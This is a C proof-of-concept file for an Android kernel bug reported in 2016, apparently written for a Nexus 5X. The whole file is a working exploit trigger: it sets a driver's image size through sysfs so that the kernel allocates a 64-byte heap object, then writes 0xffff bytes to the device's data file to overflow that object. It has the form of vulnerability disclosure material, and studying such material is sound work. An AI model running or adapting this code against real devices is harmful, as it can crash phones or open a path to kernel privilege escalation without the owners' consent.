/* 
 * Poc for  https://code.google.com/p/android/issues/detail?id=219616
 *
 * the poc was tested on nexus 5x with fingerprint : 
 * google/bullhead/bullhead:6.0.1/MTC19Z/2996059:user/release-keys
 *
 * Author : Gengjia Chen (chengjia4574@gmail.com)
 *
 * 2016-08-09
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

char* imagesize_file = "/sys/devices/soc.0/f9924000.i2c/i2c-2/2-0020/imagesize";
char* store_image_file = "/sys/devices/soc.0/f9924000.i2c/i2c-2/2-0020/data";

int set_imagesize()
{
	int fd, ret;
	char buf[256] = {0};

	fd = open(imagesize_file, O_WRONLY);
	if(fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",imagesize_file);

	sprintf(buf, "%u", 64); // set heap object size to be 64

	ret = write(fd, buf, 4);
	if(ret<0) {
		printf("write fail %s\n",strerror(errno));
	} else printf("succ write %d byte\n",ret);
	return 0;



	close(fd);

	return 0;
}

#define SIZE 0xffff
int write_data()
{
	int fd;
	int ret = -1;
	char buf[SIZE] = {0};

	fd = open(store_image_file, O_WRONLY);
	if(fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",store_image_file);

	ret = write(fd, buf, SIZE);
	if(ret<0) {
		printf("write fail %s\n",strerror(errno));
	} else printf("succ write %d byte\n",ret);
	return 0;

	close(fd);

	return 0;
}

	int
main(int argc, char *argv[])
{
	set_imagesize(); // kmalloc a heap object
	write_data(); // overwrite that heap object

	return 0;
}
